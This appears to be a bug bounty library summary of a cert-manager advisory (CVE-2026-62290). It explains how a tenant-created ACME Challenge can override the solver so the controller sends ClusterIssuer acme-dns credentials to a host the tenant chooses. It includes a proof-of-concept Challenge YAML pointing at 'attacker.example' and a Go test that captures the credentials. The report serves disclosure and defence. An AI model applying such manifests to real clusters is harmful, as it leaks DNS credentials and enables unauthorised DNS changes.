# cert-manager: Direct ACME Challenge resources can bypass Issuer DNS01 solver policy and use ClusterIssuer DNS credentials

Directly created ACME Challenge resources let namespace users supply their own solver config, making cert-manager use ClusterIssuer DNS credentials against attacker-controlled hosts.

- Payout: Research
- Severity: high
- Program: cert-manager
- Found by: kamil-sawicki, robertprast, EQSTLab
- Disclosed: 2026-10-29
- CVE: CVE-2026-62290
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-8rvj-mm4h-c258
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-8rvj-mm4h-c258
- Tags: area:cloud domain:cloud domain:infra impact:integrity impact:internal-access kind:research platform:ghsa sev:high tech:go tech:kubernetes technique:source-review vuln:access-control vuln:auth-bypass vuln:secrets-leak

**Target:** Kubernetes ACME Challenge CRD and cert-manager ACME challenge controller
**Root cause:** ValidateChallenge performs no admission validation on create, so a standalone Challenge's user-controlled spec.solver is treated as authoritative while credential namespace and ambient-credential policy are derived from the referenced ClusterIssuer.
**Steps:**
1. Create a ClusterIssuer with a DNS01 acmeDNS solver scoped to `dnsZones: [victim.example.com]` and accountSecretRef in the cluster resource namespace.
2. Grant a namespace service account only `create` on `challenges.acme.cert-manager.io` (no secret or ClusterIssuer read).
3. As that account, apply a Challenge with `issuerRef.kind: ClusterIssuer`, `dnsName: victim.example.com`, and `solver.dns01.acmeDNS.host: https://attacker.example/acmedns` plus the same accountSecretRef name.
4. Controller reconciles the direct Challenge, loads account JSON from the ClusterIssuer resource namespace, and calls the attacker host with `X-Api-User`/`X-Api-Key` headers.
**How found:** Code reading of the Challenge create path: ValidateChallenge returns no errors, the scheduler lists all Challenges, and dns.go Present ignores the issuer argument, deriving provider config from Challenge.spec while credential namespace comes from issuerRef.
**Exploitation:** A tenant with Challenge create permission submits a standalone Challenge pointing issuerRef at a platform ClusterIssuer but overriding the acmeDNS host to an attacker endpoint; the controller loads the referenced account secret and sends its username/password as X-Api-User/X-Api-Key headers to the attacker, disclosing the acme-dns credential. For other providers it yields credential use and unauthorized DNS mutation.
**Escalation:** Bypasses Issuer/ClusterIssuer solver selectors (dnsZones, dnsNames, matchLabels) entirely, extending from policy bypass to credential disclosure for acme-dns and ambient cloud credential abuse for other providers.
**Insight:** When a controller derives trust/credential scope from one field (issuerRef) but takes operational config from another user-writable field (spec.solver), check whether the object is only ever meant to be created internally by a parent workflow — and whether admission enforces that parentage.

## Proof of concept (copied exactly from the original report)

**Direct Challenge YAML with attacker-controlled acmeDNS host**

```
apiVersion: acme.cert-manager.io/v1
kind: Challenge
metadata:
  name: direct-dns01
spec:
  authorizationURL: https://attacker.example/acme/authz/1
  dnsName: victim.example.com
  issuerRef:
    group: cert-manager.io
    kind: ClusterIssuer
    name: cluster-prod
  key: attacker-key
  token: attacker-token
  type: DNS-01
  url: https://attacker.example/acme/chal/1
  solver:
    dns01:
      acmeDNS:
        host: https://attacker.example/acmedns
        accountSecretRef:
          name: cluster-acmedns-account
          key: accounts.json
```

**Go test proving acme-dns sends credentials to configured host**

```
func TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost(t *testing.T) {
        var gotUser, gotKey, gotPath string

        ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
                gotPath = r.URL.Path
                gotUser = r.Header.Get("X-Api-User")
                gotKey = r.Header.Get("X-Api-Key")
                w.Header().Set("Content-Type", "application/json")
                w.WriteHeader(http.StatusOK)
                w.Write([]byte(`{"txt":"ok"}`))
        }))
        defer ts.Close()

        accountJSON := []byte(`{
                "victim.example.com": {
                        "username": "victim-user",
                        "password": "victim-pass",
                        "fulldomain": "x.example.org",
                        "subdomain": "x"
                }
        }`)

        provider, err := NewDNSProviderHostBytes(ts.URL, accountJSON, nil)
        if err != nil {
                t.Fatal(err)
        }

        if err := provider.Present(context.Background(), "victim.example.com", "", "txt-value"); err != nil {
                t.Fatal(err)
        }

        if gotPath != "/update" {
                t.Fatalf("path = %q, want /update", gotPath)
        }
        if gotUser != "victim-user" {
                t.Fatalf("X-Api-User = %q, want victim-user", gotUser)
        }
        if gotKey != "victim-pass" {
                t.Fatalf("X-Api-Key = %q, want victim-pass", gotKey)
        }
}
```

